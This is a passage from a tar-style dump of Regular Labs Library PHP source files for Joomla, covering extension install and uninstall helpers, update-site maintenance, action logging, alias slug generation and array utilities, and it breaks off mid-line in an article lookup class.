$folders[] = JPATH_SITE . '/components/com_' . $extname;
break;
case 'module':
$folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' .
$extname;
$folders[] = JPATH_SITE . '/modules/mod_' . $extname;
break;
}
if ( ! $this->foldersExist($folders))
{
return;
}
$query = $this->db->getQuery(true)
->select($this->db->quoteName('extension_id'))
->from('#__extensions')
->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName($type, $extname)))
->where($this->db->quoteName('type') . ' =
' . $this->db->quote($type));
if ($type == 'plugin')
{
$query->where($this->db->quoteName('folder') . '
= ' . $this->db->quote($folder));
}
$this->db->setQuery($query);
$ids = $this->db->loadColumn();
if (empty($ids))
{
foreach ($folders as $folder)
{
JFactory::getApplication()->enqueueMessage('2. Deleting: '
. $folder, 'notice');
JFolder::delete($folder);
}
return;
}
$ignore_ids =
JFactory::getApplication()->getUserState('rl_ignore_uninstall_ids',
[]);
if (JFactory::getApplication()->input->get('option') ==
'com_installer' &&
JFactory::getApplication()->input->get('task') ==
'remove')
{
// Don't attempt to uninstall extensions that are already selected
to get uninstalled by them selves
$ignore_ids = array_merge($ignore_ids,
JFactory::getApplication()->input->get('cid', [],
'array'));
JFactory::getApplication()->input->set('cid',
array_merge($ignore_ids, $ids));
}
$ids = array_diff($ids, $ignore_ids);
if (empty($ids))
{
return;
}
$ignore_ids = array_merge($ignore_ids, $ids);
JFactory::getApplication()->setUserState('rl_ignore_uninstall_ids',
$ignore_ids);
foreach ($ids as $id)
{
$tmpInstaller = new JInstaller;
$tmpInstaller->uninstall($type, $id);
}
if ($show_message)
{
JFactory::getApplication()->enqueueMessage(
JText::sprintf(
'COM_INSTALLER_UNINSTALL_SUCCESS',
JText::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type))
), 'success'
);
}
}
public function foldersExist($folders = [])
{
foreach ($folders as $folder)
{
if (is_dir($folder))
{
return true;
}
}
return false;
}
public function uninstallPlugin($extname, $folder = 'system',
$show_message = true)
{
$this->uninstallExtension($extname, 'plugin', $folder,
$show_message);
}
public function uninstallComponent($extname, $show_message = true)
{
$this->uninstallExtension($extname, 'component', null,
$show_message);
}
public function uninstallModule($extname, $show_message = true)
{
$this->uninstallExtension($extname, 'module', null,
$show_message);
}
public function publishExtension()
{
switch ($this->extension_type)
{
case 'plugin' :
$this->publishPlugin();
case 'module' :
$this->publishModule();
}
}
public function publishPlugin()
{
$query = $this->db->getQuery(true)
->update('#__extensions')
->set($this->db->quoteName('enabled') . ' =
1')
->where($this->db->quoteName('type') . ' =
' . $this->db->quote('plugin'))
->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->extname))
->where($this->db->quoteName('folder') . ' =
' . $this->db->quote($this->plugin_folder));
$this->db->setQuery($query);
$this->db->execute();
}
public function publishModule()
{
// Get module id
$query = $this->db->getQuery(true)
->select($this->db->quoteName('id'))
->from('#__modules')
->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
$this->db->setQuery($query, 0, 1);
$id = $this->db->loadResult();
if ( ! $id)
{
return;
}
// check if module is already in the modules_menu table (meaning is is
already saved)
$query->clear()
->select($this->db->quoteName('moduleid'))
->from('#__modules_menu')
->where($this->db->quoteName('moduleid') . ' =
' . (int) $id)
->setLimit(1);
$this->db->setQuery($query);
$exists = $this->db->loadResult();
if ($exists)
{
return;
}
// Get highest ordering number in position
$query->clear()
->select($this->db->quoteName('ordering'))
->from('#__modules')
->where($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id)
->order('ordering DESC');
$this->db->setQuery($query, 0, 1);
$ordering = $this->db->loadResult();
$ordering++;
// publish module and set ordering number
$query->clear()
->update('#__modules')
->set($this->db->quoteName('published') . ' =
1')
->set($this->db->quoteName('ordering') . ' =
' . (int) $ordering)
->set($this->db->quoteName('position') . ' =
' . $this->db->quote($this->module_position))
->where($this->db->quoteName('id') . ' = '
. (int) $id);
$this->db->setQuery($query);
$this->db->execute();
// add module to the modules_menu table
$query->clear()
->insert('#__modules_menu')
->columns([$this->db->quoteName('moduleid'),
$this->db->quoteName('menuid')])
->values((int) $id . ', 0');
$this->db->setQuery($query);
$this->db->execute();
}
public function addInstalledMessage()
{
JFactory::getApplication()->enqueueMessage(
JText::sprintf(
$this->install_type == 'update' ?
'RLI_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' :
'RLI_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY',
'<strong>' . JText::_($this->name) .
'</strong>',
'<strong>' . $this->getVersion() .
'</strong>',
$this->getFullType()
), 'success'
);
}
public function getPrefix()
{
switch ($this->extension_type)
{
case 'plugin':
return JText::_('plg_' .
strtolower($this->plugin_folder));
case 'component':
return JText::_('com');
case 'module':
return JText::_('mod');
case 'library':
return JText::_('lib');
default:
return $this->extension_type;
}
}
public function getElementName($type = null, $extname = null)
{
$type = is_null($type) ? $this->extension_type : $type;
$extname = is_null($extname) ? $this->extname : $extname;
switch ($type)
{
case 'component' :
return 'com_' . $extname;
case 'module' :
return 'mod_' . $extname;
case 'plugin' :
default:
return $extname;
}
}
public function getFullType()
{
return JText::_('RLI_' . strtoupper($this->getPrefix()));
}
public function getVersion($file = '')
{
$file = $file ?: $this->getCurrentXMLFile();
if ( ! is_file($file))
{
return '';
}
$xml = JInstaller::parseXMLInstallFile($file);
if ( ! $xml || ! isset($xml['version']))
{
return '';
}
return $xml['version'];
}
public function isNewer()
{
if ( ! $this->installed_version)
{
return true;
}
$package_version = $this->getVersion();
return version_compare($this->installed_version, $package_version,
'<=');
}
public function canInstall()
{
// The extension is not installed yet
if ( ! $this->installed_version)
{
return true;
}
// The free version is installed. So any version is ok to install
if (strpos($this->installed_version, 'PRO') === false)
{
return true;
}
// Current package is a pro version, so all good
if (strpos($this->getVersion(), 'PRO') !== false)
{
return true;
}
JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, __DIR__);
JFactory::getApplication()->enqueueMessage(JText::_('RLI_ERROR_PRO_TO_FREE'),
'error');
JFactory::getApplication()->enqueueMessage(
html_entity_decode(
JText::sprintf(
'RLI_ERROR_UNINSTALL_FIRST',
'<a href="https://www.regularlabs.com/extensions/' .
$this->alias . '" target="_blank">',
'</a>',
JText::_($this->name)
)
), 'error'
);
return false;
}
/*
* Fixes incorrectly formed versions because of issues in old packager
*/
public function fixFileVersions($file)
{
if (is_array($file))
{
foreach ($file as $f)
{
self::fixFileVersions($f);
}
return;
}
if ( ! is_string($file) || ! is_file($file))
{
return;
}
$contents = file_get_contents($file);
if (
strpos($contents, 'FREEFREE') === false
&& strpos($contents, 'FREEPRO') === false
&& strpos($contents, 'PROFREE') === false
&& strpos($contents, 'PROPRO') === false
)
{
return;
}
$contents = str_replace(
['FREEFREE', 'FREEPRO', 'PROFREE',
'PROPRO'],
['FREE', 'PRO', 'FREE', 'PRO'],
$contents
);
JFile::write($file, $contents);
}
public function onBeforeInstall($route)
{
if ( ! $this->canInstall())
{
return false;
}
return true;
}
public function onAfterInstall($route)
{
return true;
}
public function delete($files = [])
{
foreach ($files as $file)
{
if (is_dir($file))
{
JFolder::delete($file);
}
if (is_file($file))
{
JFile::delete($file);
}
}
}
public function fixAssetsRules()
{
$query = $this->db->getQuery(true)
->select($this->db->quoteName('rules'))
->from('#__assets')
->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname))
->setLimit(1);
$this->db->setQuery($query);
$rules = $this->db->loadResult();
$rules = json_decode($rules);
if (empty($rules))
{
return;
}
foreach ($rules as $key => $value)
{
if ( ! empty($value))
{
continue;
}
unset($rules->$key);
}
$rules = json_encode($rules);
$query = $this->db->getQuery(true)
->update($this->db->quoteName('#__assets'))
->set($this->db->quoteName('rules') . ' = '
. $this->db->quote($rules))
->where($this->db->quoteName('title') . ' =
' . $this->db->quote('com_' . $this->extname));
$this->db->setQuery($query);
$this->db->execute();
}
private function fixExtensionNames()
{
switch ($this->extension_type)
{
case 'module' :
$this->fixModuleNames();
}
}
private function fixModuleNames()
{
// Get module id
$query = $this->db->getQuery(true)
->select($this->db->quoteName('id'))
->from('#__modules')
->where($this->db->quoteName('module') . ' =
' . $this->db->quote('mod_' . $this->extname))
->where($this->db->quoteName('client_id') . ' =
' . (int) $this->client_id);
$this->db->setQuery($query, 0, 1);
$module_id = $this->db->loadResult();
if (empty($module_id))
{
return;
}
$title = 'Regular Labs - ' . JText::_($this->name);
$query->clear()
->update('#__modules')
->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
->where($this->db->quoteName('id') . ' = '
. (int) $module_id)
->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'));
$this->db->setQuery($query);
$this->db->execute();
// Fix module assets
// Get asset id
$query = $this->db->getQuery(true)
->select($this->db->quoteName('id'))
->from('#__assets')
->where($this->db->quoteName('name') . ' =
' . $this->db->quote('com_modules.module.' . (int)
$module_id))
->where($this->db->quoteName('title') . ' LIKE
' . $this->db->quote('NoNumber%'))
->setLimit(1);
$this->db->setQuery($query);
$asset_id = $this->db->loadResult();
if (empty($asset_id))
{
return;
}
$query->clear()
->update('#__assets')
->set($this->db->quoteName('title') . ' = '
. $this->db->quote($title))
->where($this->db->quoteName('id') . ' = '
. (int) $asset_id);
$this->db->setQuery($query);
$this->db->execute();
}
private function updateUpdateSites()
{
$this->removeOldUpdateSites();
$this->updateNamesInUpdateSites();
$this->updateHttptoHttpsInUpdateSites();
$this->removeDuplicateUpdateSite();
$this->updateDownloadKey();
}
private function removeOldUpdateSites()
{
$query = $this->db->getQuery(true)
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('nonumber.nl%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
$this->db->setQuery($query, 0, 1);
$id = $this->db->loadResult();
if ( ! $id)
{
return;
}
$query->clear()
->delete('#__update_sites')
->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
$this->db->setQuery($query);
$this->db->execute();
$query->clear()
->delete('#__update_sites_extensions')
->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
$this->db->setQuery($query);
$this->db->execute();
}
private function updateNamesInUpdateSites()
{
$name = JText::_($this->name);
if ($this->alias != 'extensionmanager')
{
$name = 'Regular Labs - ' . $name;
}
$query = $this->db->getQuery(true)
->update('#__update_sites')
->set($this->db->quoteName('name') . ' = '
. $this->db->quote($name))
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
$this->db->setQuery($query);
$this->db->execute();
}
private function updateHttptoHttpsInUpdateSites()
{
$query = $this->db->getQuery(true)
->update('#__update_sites')
->set($this->db->quoteName('location') . ' =
REPLACE('
. $this->db->quoteName('location') . ', '
. $this->db->quote('http://') . ', '
. $this->db->quote('https://')
. ')')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('http://download.regularlabs.com%'));
$this->db->setQuery($query);
$this->db->execute();
}
private function removeDuplicateUpdateSite()
{
// First check to see if there is a pro entry
$query = $this->db->getQuery(true)
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
->where($this->db->quoteName('location') . ' NOT
LIKE ' . $this->db->quote('%pro=1%'))
->setLimit(1);
$this->db->setQuery($query);
$id = $this->db->loadResult();
// Otherwise just get the first match
if ( ! $id)
{
$query->clear()
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'));
$this->db->setQuery($query, 0, 1);
$id = $this->db->loadResult();
// Remove pro=1 from the found update site
$query->clear()
->update('#__update_sites')
->set($this->db->quoteName('location')
. ' = replace(' .
$this->db->quoteName('location') . ', ' .
$this->db->quote('&pro=1') . ', ' .
$this->db->quote('') . ')')
->where($this->db->quoteName('update_site_id') .
' = ' . (int) $id);
$this->db->setQuery($query);
$this->db->execute();
}
if ( ! $id)
{
return;
}
$query->clear()
->select($this->db->quoteName('update_site_id'))
->from('#__update_sites')
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'))
->where($this->db->quoteName('location') . '
LIKE ' . $this->db->quote('%e=' . $this->alias .
'%'))
->where($this->db->quoteName('update_site_id') .
' != ' . $id);
$this->db->setQuery($query);
$ids = $this->db->loadColumn();
if (empty($ids))
{
return;
}
$query->clear()
->delete('#__update_sites')
->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
$this->db->setQuery($query);
$this->db->execute();
$query->clear()
->delete('#__update_sites_extensions')
->where($this->db->quoteName('update_site_id') .
' IN (' . implode(',', $ids) . ')');
$this->db->setQuery($query);
$this->db->execute();
}
// Save the download key from the Regular Labs Extension Manager config to
the update sites
private function updateDownloadKey()
{
$query = $this->db->getQuery(true)
->select($this->db->quoteName('params'))
->from('#__extensions')
->where($this->db->quoteName('element') . ' =
' . $this->db->quote('com_regularlabsmanager'));
$this->db->setQuery($query);
$params = $this->db->loadResult();
if ( ! $params)
{
return;
}
$params = json_decode($params);
if ( ! isset($params->key))
{
return;
}
// Add the key on all regularlabs.com urls
$query->clear()
->update('#__update_sites')
->set($this->db->quoteName('extra_query') . ' =
' . $this->db->quote('k=' . $params->key))
->where($this->db->quoteName('location') . '
LIKE ' .
$this->db->quote('%download.regularlabs.com%'));
$this->db->setQuery($query);
$this->db->execute();
}
private function removeAdminCache()
{
$this->delete([JPATH_ADMINISTRATOR . '/cache/regularlabs']);
$this->delete([JPATH_ADMINISTRATOR . '/cache/nonumber']);
}
private function removeGlobalLanguageFiles()
{
if ($this->extension_type == 'library')
{
return;
}
$language_files = JFolder::files(JPATH_ADMINISTRATOR .
'/language', '\.' . $this->getPrefix() .
'_' . $this->extname . '\.', true, true);
// Remove override files
foreach ($language_files as $i => $language_file)
{
if (strpos($language_file, '/overrides/') === false)
{
continue;
}
unset($language_files[$i]);
}
if (empty($language_files))
{
return;
}
JFile::delete($language_files);
}
private function removeUnusedLanguageFiles()
{
if ($this->extension_type == 'library')
{
return;
}
if ( ! is_file(__DIR__ . '/language'))
{
return;
}
$installed_languages = array_merge(
is_file(JPATH_SITE . '/language') ?
JFolder::folders(JPATH_SITE . '/language') : [],
is_file(JPATH_ADMINISTRATOR . '/language') ?
JFolder::folders(JPATH_ADMINISTRATOR . '/language') : []
);
$languages = array_diff(
JFolder::folders(__DIR__ . '/language') ?: [],
$installed_languages
);
$delete_languages = [];
foreach ($languages as $language)
{
$delete_languages[] = $this->getMainFolder() . '/language/'
. $language;
}
if (empty($delete_languages))
{
return;
}
// Remove folders
$this->delete($delete_languages);
}
}
script.install.php000064400000001511151165347350010236 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! class_exists('RegularLabsInstallerScript'))
{
require_once __DIR__ . '/script.install.helper.php';
class RegularLabsInstallerScript extends RegularLabsInstallerScriptHelper
{
public $name = 'Regular Labs Library';
public $alias = 'regularlabs';
public $extension_type = 'library';
public function onBeforeInstall($route)
{
if ( ! $this->isNewer())
{
$this->softbreak = true;
return false;
}
return true;
}
}
}
src/ActionLogPlugin.php000064400000014055151165347350011121
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Plugin\CMSPlugin as JPlugin;
/**
* Class ActionLogPlugin
* @package RegularLabs\Library
*/
class ActionLogPlugin
extends JPlugin
{
public $name = '';
public $alias = '';
public $option = '';
public $items = [];
public $table = null;
public $events = [];
static $ids = [];
public function __construct(&$subject, array $config = [])
{
parent::__construct($subject, $config);
Language::load('plg_actionlog_' . $this->alias);
$config =
Parameters::getInstance()->getComponentParams($this->alias);
$enable_actionlog = isset($config->enable_actionlog) ?
$config->enable_actionlog : true;
$this->events = $enable_actionlog ? ['*'] : [];
if ($enable_actionlog && ! empty($config->actionlog_events))
{
$this->events = ArrayHelper::toArray($config->actionlog_events);
}
$this->name = JText::_($this->name);
$this->option = $this->option ?: 'com_' .
$this->alias;
}
public function onContentAfterSave($context, $table, $isNew)
{
if (strpos($context, $this->option) === false)
{
return;
}
$event = $isNew ? 'create' : 'update';
if ( ! ArrayHelper::find(['*', $event], $this->events))
{
return;
}
$item = $this->getItem($context);
$title = isset($table->title) ? $table->title :
(isset($table->name) ? $table->name : $table->id);
$item_url = str_replace('{id}', $table->id, $item->url);
$message = [
'type' => $item->title,
'id' => $table->id,
'title' => $title,
'itemlink' => $item_url,
];
Log::save($message, $context, $isNew);
}
public function onContentAfterDelete($context, $table)
{
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! ArrayHelper::find(['*', 'delete'],
$this->events))
{
return;
}
$item = $this->getItem($context);
$title = isset($table->title) ? $table->title :
(isset($table->name) ? $table->name : $table->id);
$message = [
'type' => $item->title,
'id' => $table->id,
'title' => $title,
];
Log::delete($message, $context);
}
public function onContentChangeState($context, $ids, $value)
{
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! ArrayHelper::find(['*', 'change_state'],
$this->events))
{
return;
}
$item = $this->getItem($context);
if ( ! $this->table)
{
if ( ! is_file($item->file))
{
return;
}
require_once $item->file;
$this->table = (new $item->model)->getTable();
}
foreach ($ids as $id)
{
$this->table->load($id);
$title = isset($this->table->title) ? $this->table->title
: (isset($this->table->name) ? $this->table->name :
$this->table->id);
$itemlink = str_replace('{id}', $this->table->id,
$item->url);
$message = [
'type' => $item->title,
'id' => $id,
'title' => $title,
'itemlink' => $itemlink,
];
Log::changeState($message, $context, $value);
}
}
public function onExtensionAfterSave($context, $table, $isNew)
{
self::onContentAfterSave($context, $table, $isNew);
}
public function onExtensionAfterDelete($context, $table)
{
self::onContentAfterDelete($context, $table);
}
public function onExtensionAfterInstall($installer, $eid)
{
// Prevent duplicate logs
if (in_array('install_' . $eid, self::$ids))
{
return;
}
$context =
JFactory::getApplication()->input->get('option');
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! ArrayHelper::find(['*', 'install'],
$this->events))
{
return;
}
$extension = Extension::getById($eid);
if (empty($extension->manifest_cache))
{
return;
}
$manifest = json_decode($extension->manifest_cache);
if (empty($manifest->name))
{
return;
}
self::$ids[] = 'install_' . $eid;
$message = [
'id' => $eid,
'extension_name' => JText::_($manifest->name),
];
Log::install($message, 'com_regularlabsmanager',
$manifest->type);
}
public function onExtensionAfterUninstall($installer, $eid, $result)
{
// Prevent duplicate logs
if (in_array('uninstall_' . $eid, self::$ids))
{
return;
}
$context =
JFactory::getApplication()->input->get('option');
if (strpos($context, $this->option) === false)
{
return;
}
if ( ! ArrayHelper::find(['*', 'uninstall'],
$this->events))
{
return;
}
if ($result === false)
{
return;
}
$manifest = $installer->get('manifest');
if ($manifest === null)
{
return;
}
self::$ids[] = 'uninstall_' . $eid;
$message = [
'id' => $eid,
'extension_name' => JText::_($manifest->name),
];
Log::uninstall($message, 'com_regularlabsmanager',
$manifest->attributes()->type);
}
private function getItem($context)
{
$item = $this->getItemData($context);
$item->title = isset($item->title)
? JText::_($item->title)
: $this->type . ' ' . JText::_('RL_ITEM');
if ( ! isset($item->file))
{
$item->file = JPATH_ADMINISTRATOR . '/components/' .
$this->option . '/models/' . $item->type .
'.php';
}
if ( ! isset($item->model))
{
$item->model = $this->alias . 'Model' .
ucfirst($item->type);
}
if ( ! isset($item->url))
{
$item->url = 'index.php?option=' . $this->option .
'&view=' . $item->type .
'&layout=edit&id={id}';
}
return $item;
}
private function getItemData($context)
{
$default = (object) [
'type' => 'item',
];
$type = key($this->items) ?: 'item';
if (strpos($context, '.') !== false)
{
$parts = explode('.', $context);
$type = $parts[1];
}
if ( ! isset($this->items[$type]))
{
return $default;
}
$item = $this->items[$type];
if ( ! isset($item->type))
{
$item->type = $type;
}
return $item;
}
}
src/Alias.php000064400000006014151165347350007110 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Application\ApplicationHelper as JApplicationHelper;
use Joomla\CMS\Factory as JFactory;
/**
* Class Alias
* @package RegularLabs\Library
*/
class Alias
{
/**
* Creates an alias from a string
*
* @param string $string
*
* @return string
*/
public static function get($string = '', $unicode = false)
{
if (empty($string))
{
return '';
}
$string = StringHelper::removeHtml($string);
if ($unicode || JFactory::getConfig()->get('unicodeslugs')
== 1)
{
return self::stringURLUnicodeSlug($string);
}
// Remove < > html entities
$string = str_replace(['<', '>'],
'', $string);
// Convert html entities
$string = StringHelper::html_entity_decoder($string);
return JApplicationHelper::stringURLSafe($string);
}
/**
* Creates a unicode alias from a string
* Based on stringURLUnicodeSlug method from the unicode slug plugin by
infograf768
*
* @param string $string
*
* @return string
*/
private static function stringURLUnicodeSlug($string = '')
{
if (empty($string))
{
return '';
}
// Remove < > html entities
$string = str_replace(['<', '>'],
'', $string);
// Convert html entities
$string = StringHelper::html_entity_decoder($string);
// Convert to lowercase
$string = StringHelper::strtolower($string);
// remove html tags
$string = RegEx::replace('</?[a-z][^>]*>',
'', $string);
// remove comments tags
$string = RegEx::replace('<\!--.*?-->', '',
$string);
// Replace weird whitespace characters like (Â) with spaces
//$string = str_replace(array(chr(160), chr(194)), ' ',
$string);
$string = str_replace("\xC2\xA0", ' ', $string);
$string = str_replace("\xE2\x80\xA8", ' ', $string);
// ascii only
// Replace double byte whitespaces by single byte (East Asian languages)
$string = str_replace("\xE3\x80\x80", ' ', $string);
// Remove any '-' from the string as they will be used as
concatenator.
// Would be great to let the spaces in but only Firefox is friendly with
this
$string = str_replace('-', ' ', $string);
// Replace forbidden characters by whitespaces
$string = RegEx::replace('[' .
RegEx::quote(',:#$*"@+=;&.%()[]{}/\'\\|') .
']', "\x20", $string);
// Delete all characters that should not take up any space, like: ?
$string = RegEx::replace('[' . RegEx::quote('?!¿¡')
. ']', '', $string);
// Trim white spaces at beginning and end of alias and make lowercase
$string = trim($string);
// Remove any duplicate whitespace and replace whitespaces by hyphens
$string = RegEx::replace('\x20+', '-', $string);
// Remove leading and trailing hyphens
$string = trim($string, '-');
return $string;
}
}
src/Api/ConditionInterface.php000064400000001040151165347350012331
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library\Api;
defined('_JEXEC') or die;
/**
* Interface ConditionConditionInterface
* @package RegularLabs\Library\Api
*/
interface ConditionInterface
{
public function pass();
}
src/ArrayHelper.php000064400000010404151165347350010273 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class ArrayHelper
* @package RegularLabs\Library
*/
class ArrayHelper
{
/**
* Convert data (string or object) to an array
*
* @param mixed $data
* @param string $separator
* @param bool $unique
*
* @return array
*/
public static function toArray($data, $separator = ',', $unique
= false, $trim = true)
{
if (is_array($data))
{
return $data;
}
if (is_object($data))
{
return (array) $data;
}
if ($data === '' || is_null($data))
{
return [];
}
if ($separator === '')
{
return [$data];
}
// explode on separator, but keep escaped separators
$splitter = uniqid('RL_SPLIT');
$data = str_replace($separator, $splitter, $data);
$data = str_replace('\\' . $splitter, $separator, $data);
$array = explode($splitter, $data);
if ($trim)
{
$array = self::trim($array);
}
if ($unique)
{
$array = array_unique($array);
}
return $array;
}
/**
* Join array elements with a string
*
* @param string $glue
* @param array $pieces
*
* @return array
*/
public static function implode($pieces, $glue = '')
{
if ( ! is_array($pieces))
{
$pieces = self::toArray($pieces, $glue);
}
return implode($glue, $pieces);
}
/**
* Clean array by trimming values and removing empty/false values
*
* @param array $array
*
* @return array
*/
public static function clean($array)
{
if ( ! is_array($array))
{
return $array;
}
$array = self::trim($array);
$array = self::unique($array);
$array = self::removeEmpty($array);
return $array;
}
/**
* Removes empty values from the array
*
* @param array $array
*
* @return array
*/
public static function removeEmpty($array)
{
if ( ! is_array($array))
{
return $array;
}
foreach ($array as $key => &$value)
{
if ($key && ! is_numeric($key))
{
continue;
}
if ($value !== '')
{
continue;
}
unset($array[$key]);
}
return $array;
}
/**
* Removes duplicate values from the array
*
* @param array $array
*
* @return array
*/
public static function unique($array)
{
if ( ! is_array($array))
{
return $array;
}
$values = [];
foreach ($array as $key => $value)
{
if ( ! is_numeric($key))
{
continue;
}
if ( ! in_array($value, $values))
{
$values[] = $value;
continue;
}
unset($array[$key]);
}
return $array;
}
/**
* Clean array by trimming values
*
* @param array $array
*
* @return array
*/
public static function trim($array)
{
if ( ! is_array($array))
{
return $array;
}
foreach ($array as &$value)
{
if ( ! is_string($value))
{
continue;
}
$value = trim($value);
}
return $array;
}
/**
* Check if any of the given values is found in the array
*
* @param array $needles
* @param array $haystack
*
* @return boolean
*/
public static function find($needles, $haystack)
{
if ( ! is_array($haystack) || empty($haystack))
{
return false;
}
$needles = self::toArray($needles);
foreach ($needles as $value)
{
if (in_array($value, $haystack))
{
return true;
}
}
return false;
}
/**
* Sorts the array by keys based on the values of another array
*
* @param array $array
* @param array $order
*
* @return array
*/
public static function sortByOtherArray($array, $order)
{
uksort($array, function ($key1, $key2) use ($order) {
return (array_search($key1, $order) > array_search($key2, $order));
});
return $array;
}
/**
* Flatten an array of nested arrays, keeping the order
*
* @param array $array
*
* @return array
*/
public static function flatten($array)
{
$flattened = [];
foreach ($array as $nested)
{
if ( ! is_array($nested))
{
$flattened[] = $nested;
continue;
}
$flattened = array_merge($flattened, self::flatten($nested));
}
return $flattened;
}
}
src/Article.php000064400000022026151165347350007443 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\Registry\Registry;
jimport('joomla.filesystem.file');
/**
* Class Article
* @package RegularLabs\Library
*/
class Article
{
static $articles = [];
/**
* Method to get article data.
*
* @param integer $id The id, alias or title of the article.
* @param boolean $get_unpublished Whether to also return the article if
it is not published
* @param array $selects Option array of stuff to select. Note:
requires correct table alias prefixes
*
* @return object|boolean Menu item data object on success, boolean false
*/
public static function get($id = null, $get_unpublished = false, $selects
= [])
{
$id = ! empty($id) ? $id : (int) self::getId();
$cache_id = md5(json_encode([$id, $get_unpublished, $selects]));
if (isset(self::$articles[$cache_id]))
{
return self::$articles[$cache_id];
}
$db = JFactory::getDbo();
$user = JFactory::getUser();
$custom_selects = ! empty($selects);
$query = $db->getQuery(true)
->select($custom_selects ? $selects :
[
'a.id', 'a.asset_id', 'a.title',
'a.alias', 'a.introtext', 'a.fulltext',
'a.state', 'a.catid', 'a.created',
'a.created_by', 'a.created_by_alias',
// Use created if modified is 0
'CASE WHEN a.modified = ' .
$db->quote($db->getNullDate()) . ' THEN a.created ELSE
a.modified END as modified',
'a.modified_by', 'a.checked_out',
'a.checked_out_time', 'a.publish_up',
'a.publish_down',
'a.images', 'a.urls', 'a.attribs',
'a.version', 'a.ordering',
'a.metakey', 'a.metadesc', 'a.access',
'a.hits', 'a.metadata', 'a.featured',
'a.language', 'a.xreference',
]
)
->from($db->quoteName('#__content', 'a'));
if ( ! is_numeric($id))
{
$query->where('(' .
$db->quoteName('a.title') . ' = ' .
$db->quote($id)
. ' OR ' .
$db->quoteName('a.alias') . ' = ' .
$db->quote($id)
. ')');
}
else
{
$query->where($db->quoteName('a.id') . ' = ' .
(int) $id);
}
// Join on category table.
if ( ! $custom_selects)
{
$query->select([
$db->quoteName('c.title', 'category_title'),
$db->quoteName('c.alias', 'category_alias'),
$db->quoteName('c.access', 'category_access'),
$db->quoteName('c.lft', 'category_lft'),
$db->quoteName('c.lft', 'category_ordering'),
]);
}
$query->innerJoin($db->quoteName('#__categories',
'c') . ' ON ' . $db->quoteName('c.id') .
' = ' . $db->quoteName('a.catid'))
->where($db->quoteName('c.published') . ' >
0');
// Join on user table.
if ( ! $custom_selects)
{
$query->select($db->quoteName('u.name',
'author'));
}
$query->join('LEFT', $db->quoteName('#__users',
